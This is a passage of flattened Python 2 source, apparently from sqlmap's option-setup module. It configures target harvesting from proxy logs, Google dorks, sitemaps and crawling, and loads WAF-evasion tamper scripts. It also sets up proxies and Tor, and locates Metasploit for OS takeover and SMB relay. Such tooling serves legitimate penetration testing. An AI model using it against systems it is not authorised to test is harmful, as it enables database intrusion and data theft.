import randomStr from lib.core.common import readCachedFileContent from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin from lib.core.common import safeExpandUser from lib.core.common import saveConfig from lib.core.common import setOptimize from lib.core.common import setPaths from lib.core.common import singleTimeWarnMessage from lib.core.common import urldecode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import mergedOptions from lib.core.data import queries from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DUMP_FORMAT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import MOBILES from lib.core.enums import OPTION_TYPE from lib.core.enums import PAYLOAD from lib.core.enums import PRIORITY from lib.core.enums import PROXY_TYPE from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import WIZARD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUserQuitException from lib.core.log import FORMATTER from lib.core.optiondict import optDict from lib.core.settings import BURP_REQUEST_REGEX from lib.core.settings import BURP_XML_HISTORY_REGEX from lib.core.settings import CODECS_LIST_PAGE from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DBMS_ALIASES from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS from lib.core.settings import DUMMY_URL from lib.core.settings import INJECT_HERE_REGEX from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET from lib.core.settings import LOCALHOST from lib.core.settings import MAX_CONNECT_RETRIES from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import SITE from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS from lib.core.settings import TIME_DELAY_CANDIDATES from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import VERSION_STRING from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.threads import getCurrentThreadData from lib.core.threads import setDaemon from lib.core.update import update from lib.parse.configfile import configFileParser from lib.parse.payloads import loadBoundaries from lib.parse.payloads import loadPayloads from lib.parse.sitemap import parseSitemap from lib.request.basic import checkCharEncoding from lib.request.connect import Connect as Request from lib.request.dns import DNSServer from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler from lib.request.httpshandler import HTTPSHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler from lib.request.templates import getPageTemplate from lib.utils.har import HTTPCollectorFactory from lib.utils.crawler import crawl from lib.utils.deps import checkDependencies from lib.utils.search import search from lib.utils.purge import purge from thirdparty.keepalive import keepalive from thirdparty.multipart import multipartpost from thirdparty.oset.pyoset import oset from thirdparty.socks import socks from xml.etree.ElementTree import ElementTree authHandler = urllib2.BaseHandler() httpsHandler = HTTPSHandler() keepAliveHandler = keepalive.HTTPHandler() proxyHandler = urllib2.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() multipartPostHandler = multipartpost.MultipartPostHandler() # Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html try: WindowsError except NameError: WindowsError = None def _feedTargetsDict(reqFile, addedTargetUrls): """ Parses web scarab and burp logs and adds results to the target URL list """ def _parseWebScarabLog(content): """ Parses web scarab logs (POST method not supported) """ reqResList = content.split(WEBSCARAB_SPLITTER) for request in reqResList: url = extractRegexResult(r"URL: (?P.+?)\n", request, re.I) method = extractRegexResult(r"METHOD: (?P.+?)\n", request, re.I) cookie = extractRegexResult(r"COOKIE: (?P.+?)\n", request, re.I) if not method or not url: logger.debug("not a valid WebScarab log data") continue if method.upper() == HTTPMETHOD.POST: warnMsg = "POST requests from WebScarab logs aren't supported " warnMsg += "as their body content is stored in separate files. " warnMsg += "Nevertheless you can use -r to load them individually." logger.warning(warnMsg) continue if not(conf.scope and not re.search(conf.scope, url, re.I)): if not kb.targets or url not in addedTargetUrls: kb.targets.add((url, method, None, cookie, None)) addedTargetUrls.add(url) def _parseBurpLog(content): """ Parses burp logs """ if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): reqResList = [] for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): port, request = match.groups() try: request = request.decode("base64") except binascii.Error: continue _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) if _: host = _.group(0).strip() if not re.search(r":\d+\Z", host): request = request.replace(host, "%s:%d" % (host, int(port))) reqResList.append(request) else: reqResList = [content] else: reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) for match in reqResList: request = match if isinstance(match, basestring) else match.group(0) request = re.sub(r"\A[^\w]+", "", request) schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) if schemePort: scheme = schemePort.group(1) port = schemePort.group(2) request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip()) else: scheme, port = None, None if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M): continue if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): continue getPostReq = False url = None host = None method = None data = None cookie = None params = False newline = None lines = request.split('\n') headers = [] for index in xrange(len(lines)): line = lines[index] if not line.strip() and index == len(lines) - 1: break newline = "\r\n" if line.endswith('\r') else '\n' line = line.strip('\r') match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None: data = "" params = True elif match: method = match.group(1) url = match.group(2) if any(_ in line for _ in ('?', '=', kb.customInjectionMark)): params = True getPostReq = True # POST parameters elif data is not None and params: data += "%s%s" % (line, newline) # GET parameters elif "?" in line and "=" in line and ": " not in line: params = True # Headers elif re.search(r"\A\S+:", line): key, value = line.split(":", 1) value = value.strip().replace("\r", "").replace("\n", "") # Cookie and Host headers if key.upper() == HTTP_HEADER.COOKIE.upper(): cookie = value elif key.upper() == HTTP_HEADER.HOST.upper(): if '://' in value: scheme, value = value.split('://')[:2] splitValue = value.split(":") host = splitValue[0] if len(splitValue) > 1: port = filterStringValue(splitValue[1], "[0-9]") # Avoid to add a static content length header to # headers and consider the following lines as # POSTed data if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): params = True # Avoid proxy and connection type related headers elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): headers.append((getUnicode(key), getUnicode(value))) if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): params = True data = data.rstrip("\r\n") if data else data if getPostReq and (params or cookie): if not port and isinstance(scheme, basestring) and scheme.lower() == "https": port = "443" elif not scheme and port == "443": scheme = "https" if conf.forceSSL: scheme = "https" port = port or "443" if not host: errMsg = "invalid format of a request file" raise SqlmapSyntaxException(errMsg) if not url.startswith("http"): url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) scheme = None port = None if not(conf.scope and not re.search(conf.scope, url, re.I)): if not kb.targets or url not in addedTargetUrls: kb.targets.add((url, conf.method or method, data, cookie, tuple(headers))) addedTargetUrls.add(url) checkFile(reqFile) try: with openFile(reqFile, "rb") as f: content = f.read() except (IOError, OSError, MemoryError), ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex)) raise SqlmapSystemException(errMsg) if conf.scope: logger.info("using regular expression '%s' for filtering targets" % conf.scope) _parseBurpLog(content) _parseWebScarabLog(content) if not addedTargetUrls: errMsg = "unable to find usable request(s) " errMsg += "in provided file ('%s')" % reqFile raise SqlmapGenericException(errMsg) def _loadQueries(): """ Loads queries from 'xml/queries.xml' file. """ def iterate(node, retVal=None): class DictObject(object): def __init__(self): self.__dict__ = {} def __contains__(self, name): return name in self.__dict__ if retVal is None: retVal = DictObject() for child in node.findall("*"): instance = DictObject() retVal.__dict__[child.tag] = instance if child.attrib: instance.__dict__.update(child.attrib) else: iterate(child, instance) return retVal tree = ElementTree() try: tree.parse(paths.QUERIES_XML) except Exception, ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) for node in tree.findall("*"): queries[node.attrib['value']] = iterate(node) def _setMultipleTargets(): """ Define a configuration parameter if we are running in multiple target mode. """ initialTargetsCount = len(kb.targets) addedTargetUrls = set() if not conf.logFile: return debugMsg = "parsing targets list from '%s'" % conf.logFile logger.debug(debugMsg) if not os.path.exists(conf.logFile): errMsg = "the specified list of targets does not exist" raise SqlmapFilePathException(errMsg) if os.path.isfile(conf.logFile): _feedTargetsDict(conf.logFile, addedTargetUrls) elif os.path.isdir(conf.logFile): files = os.listdir(conf.logFile) files.sort() for reqFile in files: if not re.search(r"([\d]+)\-request", reqFile): continue _feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls) else: errMsg = "the specified list of targets is not a file " errMsg += "nor a directory" raise SqlmapFilePathException(errMsg) updatedTargetsCount = len(kb.targets) if updatedTargetsCount > initialTargetsCount: infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount) infoMsg += "(parameter unique) requests from the " infoMsg += "targets list ready to be tested" logger.info(infoMsg) def _adjustLoggingFormatter(): """ Solves problem of line deletition caused by overlapping logging messages and retrieved data info in inference mode """ if hasattr(FORMATTER, '_format'): return def format(record): message = FORMATTER._format(record) message = boldifyMessage(message) if kb.get("prependFlag"): message = "\n%s" % message kb.prependFlag = False return message FORMATTER._format = FORMATTER.format FORMATTER.format = format def _setRequestFromFile(): """ This function checks if the way to make a HTTP request is through supplied textual file, parses it and saves the information into the knowledge base. """ if not conf.requestFile: return addedTargetUrls = set() conf.requestFile = safeExpandUser(conf.requestFile) if not os.path.isfile(conf.requestFile): errMsg = "specified HTTP request file '%s' " % conf.requestFile errMsg += "does not exist" raise SqlmapFilePathException(errMsg) infoMsg = "parsing HTTP request from '%s'" % conf.requestFile logger.info(infoMsg) _feedTargetsDict(conf.requestFile, addedTargetUrls) def _setCrawler(): if not conf.crawlDepth: return if not any((conf.bulkFile, conf.sitemapUrl)): crawl(conf.url) else: if conf.bulkFile: targets = getFileItems(conf.bulkFile) else: targets = parseSitemap(conf.sitemapUrl) for i in xrange(len(targets)): try: target = targets[i] crawl(target) if conf.verbose in (1, 2): status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) except Exception, ex: errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex)) logger.error(errMsg) def _doSearch(): """ This function performs search dorking, parses results and saves the testable hosts into the knowledge base. """ if not conf.googleDork: return kb.data.onlyGETs = None def retrieve(): links = search(conf.googleDork) if not links: errMsg = "unable to find results for your " errMsg += "search dork expression" raise SqlmapGenericException(errMsg) for link in links: link = urldecode(link) if re.search(r"(.*?)\?(.+)", link): kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) elif re.search(URI_INJECTABLE_REGEX, link, re.I): if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: message = "do you want to scan only results containing GET parameters? [Y/n] " kb.data.onlyGETs = readInput(message, default='Y', boolean=True) if not kb.data.onlyGETs or conf.googleDork: kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) return links while True: links = retrieve() if kb.targets: infoMsg = "sqlmap got %d results for your " % len(links) infoMsg += "search dork expression, " if len(links) == len(kb.targets): infoMsg += "all " else: infoMsg += "%d " % len(kb.targets) infoMsg += "of them are testable targets" logger.info(infoMsg) break else: message = "sqlmap got %d results " % len(links) message += "for your search dork expression, but none of them " message += "have GET parameters to test for SQL injection. " message += "Do you want to skip to the next result page? [Y/n]" if not readInput(message, default='Y', boolean=True): raise SqlmapSilentQuitException else: conf.googlePage += 1 def _setBulkMultipleTargets(): if not conf.bulkFile: return conf.bulkFile = safeExpandUser(conf.bulkFile) infoMsg = "parsing multiple targets list from '%s'" % conf.bulkFile logger.info(infoMsg) if not os.path.isfile(conf.bulkFile): errMsg = "the specified bulk file " errMsg += "does not exist" raise SqlmapFilePathException(errMsg) found = False for line in getFileItems(conf.bulkFile): if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line: found = True kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None)) if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" logger.warn(warnMsg) def _setSitemapTargets(): if not conf.sitemapUrl: return infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl logger.info(infoMsg) found = False for item in parseSitemap(conf.sitemapUrl): if re.match(r"[^ ]+\?(.+)", item, re.I): found = True kb.targets.add((item.strip(), None, None, None, None)) if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" logger.warn(warnMsg) def _findPageForms(): if not conf.forms or conf.crawlDepth: return if conf.url and not checkConnection(): return infoMsg = "searching for forms" logger.info(infoMsg) if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)): page, _, _ = Request.queryPage(content=True) findPageForms(page, conf.url, True, True) else: if conf.bulkFile: targets = getFileItems(conf.bulkFile) elif conf.sitemapUrl: targets = parseSitemap(conf.sitemapUrl) elif conf.googleDork: targets = [_[0] for _ in kb.targets] kb.targets.clear() for i in xrange(len(targets)): try: target = targets[i] page, _, _ = Request.getPage(url=target.strip(), crawling=True, raise404=False) findPageForms(page, target, False, True) if conf.verbose in (1, 2): status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) except KeyboardInterrupt: break except Exception, ex: errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex)) logger.error(errMsg) def _setDBMSAuthentication(): """ Check and set the DBMS authentication credentials to run statements as another user, not the session user """ if not conf.dbmsCred: return debugMsg = "setting the DBMS authentication credentials" logger.debug(debugMsg) match = re.search(r"^(.+?):(.*?)$", conf.dbmsCred) if not match: errMsg = "DBMS authentication credentials value must be in format " errMsg += "username:password" raise SqlmapSyntaxException(errMsg) conf.dbmsUsername = match.group(1) conf.dbmsPassword = match.group(2) def _setMetasploit(): if not conf.osPwn and not conf.osSmb and not conf.osBof: return debugMsg = "setting the takeover out-of-band functionality" logger.debug(debugMsg) msfEnvPathExists = False if IS_WIN: try: __import__("win32file") except ImportError: errMsg = "sqlmap requires third-party module 'pywin32' " errMsg += "in order to use Metasploit functionalities on " errMsg += "Windows. You can download it from " errMsg += "'https://sourceforge.net/projects/pywin32/files/pywin32/'" raise SqlmapMissingDependence(errMsg) if not conf.msfPath: def _(key, value): retVal = None try: from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE) _ = OpenKey(_, key) retVal = QueryValueEx(_, value)[0] except: logger.debug("unable to identify Metasploit installation path via registry key") return retVal conf.msfPath = _(r"SOFTWARE\Rapid7\Metasploit", "Location") if conf.msfPath: conf.msfPath = os.path.join(conf.msfPath, "msf3") if conf.osSmb: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to perform a SMB relay attack because " errMsg += "it will need to listen on a user-specified SMB " errMsg += "TCP port for incoming connection attempts" raise SqlmapMissingPrivileges(errMsg) if conf.msfPath: for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): if any(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)): kb.oldMsf = False elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False conf.msfPath = path break if msfEnvPathExists: debugMsg = "provided Metasploit Framework path " debugMsg += "'%s' is valid" % conf.msfPath logger.debug(debugMsg) else: warnMsg = "the provided Metasploit Framework path " warnMsg += "'%s' is not valid. The cause could " % conf.msfPath warnMsg += "be that the path does not exists or that one " warnMsg += "or more of the needed Metasploit executables " warnMsg += "within msfcli, msfconsole, msfencode and " warnMsg += "msfpayload do not exist" logger.warn(warnMsg) else: warnMsg = "you did not provide the local path where Metasploit " warnMsg += "Framework is installed" logger.warn(warnMsg) if not msfEnvPathExists: warnMsg = "sqlmap is going to look for Metasploit Framework " warnMsg += "installation inside the environment path(s)" logger.warn(warnMsg) envPaths = os.environ.get("PATH", "").split(";" if IS_WIN else ":") for envPath in envPaths: envPath = envPath.replace(";", "") if any(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)): kb.oldMsf = False elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False if msfEnvPathExists: infoMsg = "Metasploit Framework has been found " infoMsg += "installed in the '%s' path" % envPath logger.info(infoMsg) conf.msfPath = envPath break if not msfEnvPathExists: errMsg = "unable to locate Metasploit Framework installation. " errMsg += "You can get it at 'https://www.metasploit.com/download/'" raise SqlmapFilePathException(errMsg) def _setWriteFile(): if not conf.wFile: return debugMsg = "setting the write file functionality" logger.debug(debugMsg) if not os.path.exists(conf.wFile): errMsg = "the provided local file '%s' does not exist" % conf.wFile raise SqlmapFilePathException(errMsg) if not conf.dFile: errMsg = "you did not provide the back-end DBMS absolute path " errMsg += "where you want to write the local file '%s'" % conf.wFile raise SqlmapMissingMandatoryOptionException(errMsg) conf.wFileType = getFileType(conf.wFile) def _setOS(): """ Force the back-end DBMS operating system option. """ if not conf.os: return if conf.os.lower() not in SUPPORTED_OS: errMsg = "you provided an unsupported back-end DBMS operating " errMsg += "system. The supported DBMS operating systems for OS " errMsg += "and file system access are %s. " % ', '.join([o.capitalize() for o in SUPPORTED_OS]) errMsg += "If you do not know the back-end DBMS underlying OS, " errMsg += "do not provide it and sqlmap will fingerprint it for " errMsg += "you." raise SqlmapUnsupportedDBMSException(errMsg) debugMsg = "forcing back-end DBMS operating system to user defined " debugMsg += "value '%s'" % conf.os logger.debug(debugMsg) Backend.setOs(conf.os) def _setTechnique(): validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1]) validLetters = [_[0][0].upper() for _ in validTechniques] if conf.tech and isinstance(conf.tech, basestring): _ = [] for letter in conf.tech.upper(): if letter not in validLetters: errMsg = "value for --technique must be a string composed " errMsg += "by the letters %s. Refer to the " % ", ".join(validLetters) errMsg += "user's manual for details" raise SqlmapSyntaxException(errMsg) for validTech, validInt in validTechniques: if letter == validTech[0]: _.append(validInt) break conf.tech = _ def _setDBMS(): """ Force the back-end DBMS option. """ if not conf.dbms: return debugMsg = "forcing back-end DBMS to user defined value" logger.debug(debugMsg) conf.dbms = conf.dbms.lower() regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I) if regex: conf.dbms = regex.group(1) Backend.setVersion(regex.group(2)) if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted(_ for _ in DBMS_DICT)) errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "it and sqlmap will fingerprint it for you." raise SqlmapUnsupportedDBMSException(errMsg) for dbms, aliases in DBMS_ALIASES: if conf.dbms in aliases: conf.dbms = dbms break def _setTamperingFunctions(): """ Loads tampering functions from given script(s) """ if conf.tamper: last_priority = PRIORITY.HIGHEST check_priority = True resolve_priorities = False priorities = [] for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper): found = False path = paths.SQLMAP_TAMPER_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING) script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING) try: if not script: continue elif os.path.exists(os.path.join(path, script if script.endswith(".py") else "%s.py" % script)): script = os.path.join(path, script if script.endswith(".py") else "%s.py" % script) elif not os.path.exists(script): errMsg = "tamper script '%s' does not exist" % script raise SqlmapFilePathException(errMsg) elif not script.endswith(".py"): errMsg = "tamper script '%s' should have an extension '.py'" % script raise SqlmapSyntaxException(errMsg) except UnicodeDecodeError: errMsg = "invalid character provided in option '--tamper'" raise SqlmapSyntaxException(errMsg) dirname, filename = os.path.split(script) dirname = os.path.abspath(dirname) infoMsg = "loading tamper script '%s'" % filename[:-3] logger.info(infoMsg) if not os.path.exists(os.path.join(dirname, "__init__.py")): errMsg = "make sure that there is an empty file '__init__.py' " errMsg += "inside of tamper scripts directory '%s'" % dirname raise SqlmapGenericException(errMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) except Exception, ex: raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex))) priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ for name, function in inspect.getmembers(module, inspect.isfunction): if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs": found = True kb.tamperFunctions.append(function) function.func_name = module.__name__ if check_priority and priority > last_priority: message = "it appears that you might have mixed " message += "the order of tamper scripts. " message += "Do you want to auto resolve this? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'N': resolve_priorities = False elif choice == 'Q': raise SqlmapUserQuitException else: resolve_priorities = True check_priority = False priorities.append((priority, function)) last_priority = priority break elif name == "dependencies": function() if not found: errMsg = "missing function 'tamper(payload, **kwargs)' " errMsg += "in tamper script '%s'" % script raise SqlmapGenericException(errMsg) if kb.tamperFunctions and len(kb.tamperFunctions) > 3: warnMsg = "using too many tamper scripts is usually not " warnMsg += "a good idea" logger.warning(warnMsg) if resolve_priorities and priorities: priorities.sort(reverse=True) kb.tamperFunctions = [] for _, function in priorities: kb.tamperFunctions.append(function) def _setWafFunctions(): """ Loads WAF/IPS/IDS detecting functions from script(s) """ if conf.identifyWaf: for found in glob.glob(os.path.join(paths.SQLMAP_WAF_PATH, "*.py")): dirname, filename = os.path.split(found) dirname = os.path.abspath(dirname) if filename == "__init__.py": continue debugMsg = "loading WAF script '%s'" % filename[:-3] logger.debug(debugMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: if filename[:-3] in sys.modules: del sys.modules[filename[:-3]] module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) except ImportError, msg: raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg)) _ = dict(inspect.getmembers(module)) if "detect" not in _: errMsg = "missing function 'detect(get_page)' " errMsg += "in WAF script '%s'" % found raise SqlmapGenericException(errMsg) else: kb.wafFunctions.append((_["detect"], _.get("__product__", filename[:-3]))) kb.wafFunctions = sorted(kb.wafFunctions, key=lambda _: "generic" in _[1].lower()) def _setThreads(): if not isinstance(conf.threads, int) or conf.threads <= 0: conf.threads = 1 def _setDNSCache(): """ Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests. """ def _getaddrinfo(*args, **kwargs): if args in kb.cache.addrinfo: return kb.cache.addrinfo[args] else: kb.cache.addrinfo[args] = socket._getaddrinfo(*args, **kwargs) return kb.cache.addrinfo[args] if not hasattr(socket, "_getaddrinfo"): socket._getaddrinfo = socket.getaddrinfo socket.getaddrinfo = _getaddrinfo def _setSocketPreConnect(): """ Makes a pre-connect version of socket.connect """ if conf.disablePrecon: return def _thread(): while kb.get("threadContinue") and not conf.get("disablePrecon"): try: for key in socket._ready: if len(socket._ready[key]) < SOCKET_PRE_CONNECT_QUEUE_SIZE: family, type, proto, address = key s = socket.socket(family, type, proto) s._connect(address) with kb.locks.socket: socket._ready[key].append((s._sock, time.time())) except KeyboardInterrupt: break except: pass finally: time.sleep(0.01) def connect(self, address): found = False key = (self.family, self.type, self.proto, address) with kb.locks.socket: if key not in socket._ready: socket._ready[key] = [] while len(socket._ready[key]) > 0: candidate, created = socket._ready[key].pop(0) if (time.time() - created) < PRECONNECT_CANDIDATE_TIMEOUT: self._sock = candidate found = True break else: try: candidate.shutdown(socket.SHUT_RDWR) candidate.close() except socket.error: pass if not found: self._connect(address) if not hasattr(socket.socket, "_connect"): socket._ready = {} socket.socket._connect = socket.socket.connect socket.socket.connect = connect thread = threading.Thread(target=_thread) setDaemon(thread) thread.start() def _setHTTPHandlers(): """ Check and set the HTTP/SOCKS proxy for all HTTP requests. """ global proxyHandler for _ in ("http", "https"): if hasattr(proxyHandler, "%s_open" % _): delattr(proxyHandler, "%s_open" % _) if conf.proxyList is not None: if not conf.proxyList: errMsg = "list of usable proxies is exhausted" raise SqlmapNoneDataException(errMsg) conf.proxy = conf.proxyList[0] conf.proxyList = conf.proxyList[1:] infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy logger.info(infoMsg) elif not conf.proxy: if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy: proxyHandler.proxies = {} if conf.proxy: debugMsg = "setting the HTTP/SOCKS proxy for all HTTP requests" logger.debug(debugMsg) try: _ = urlparse.urlsplit(conf.proxy) except Exception, ex: errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) hostnamePort = _.netloc.split(":") scheme = _.scheme.upper() hostname = hostnamePort[0] port = None username = None password = None if len(hostnamePort) == 2: try: port = int(hostnamePort[1]) except: pass # drops into the next check block if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) raise SqlmapSyntaxException(errMsg) if conf.proxyCred: _ = re.search(r"\A(.*?):(.*?)\Z", conf.proxyCred) if not _: errMsg = "proxy authentication credentials " errMsg += "value must be in format username:password" raise SqlmapSyntaxException(errMsg) else: username = _.group(1) password = _.group(2) if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5): proxyHandler.proxies = {} socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) socks.wrapmodule(urllib2) else: socks.unwrapmodule(urllib2) if conf.proxyCred: # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection proxyString = "%s@" % conf.proxyCred else: proxyString = "" proxyString += "%s:%d" % (hostname, port) proxyHandler.proxies = {"http": proxyString, "https": proxyString} proxyHandler.__init__(proxyHandler.proxies) debugMsg = "creating HTTP requests opener object" logger.debug(debugMsg) handlers = filter(None, [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, httpsHandler]) if not conf.dropSetCookie: if not conf.loadCookies: conf.cj = cookielib.CookieJar() else: conf.cj = cookielib.MozillaCookieJar() resetCookieJar(conf.cj) handlers.append(urllib2.HTTPCookieProcessor(conf.cj)) # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html if conf.keepAlive: warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " warnMsg += "been disabled because of its incompatibility " if conf.proxy: warnMsg += "with HTTP(s) proxy" logger.warn(warnMsg) elif conf.authType: warnMsg += "with authentication methods" logger.warn(warnMsg) else: handlers.append(keepAliveHandler) opener = urllib2.build_opener(*handlers) urllib2.install_opener(opener) def _setSafeVisit(): """ Check and set the safe visit options. """ if not any((conf.safeUrl, conf.safeReqFile)): return if conf.safeReqFile: checkFile(conf.safeReqFile) raw = readCachedFileContent(conf.safeReqFile) match = re.search(r"\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z", raw[:raw.find('\n')]) if match: kb.safeReq.method = match.group(1) kb.safeReq.url = match.group(2) kb.safeReq.headers = {} for line in raw[raw.find('\n') + 1:].split('\n'): line = line.strip() if line and ':' in line: key, value = line.split(':', 1) value = value.strip() kb.safeReq.headers[key] 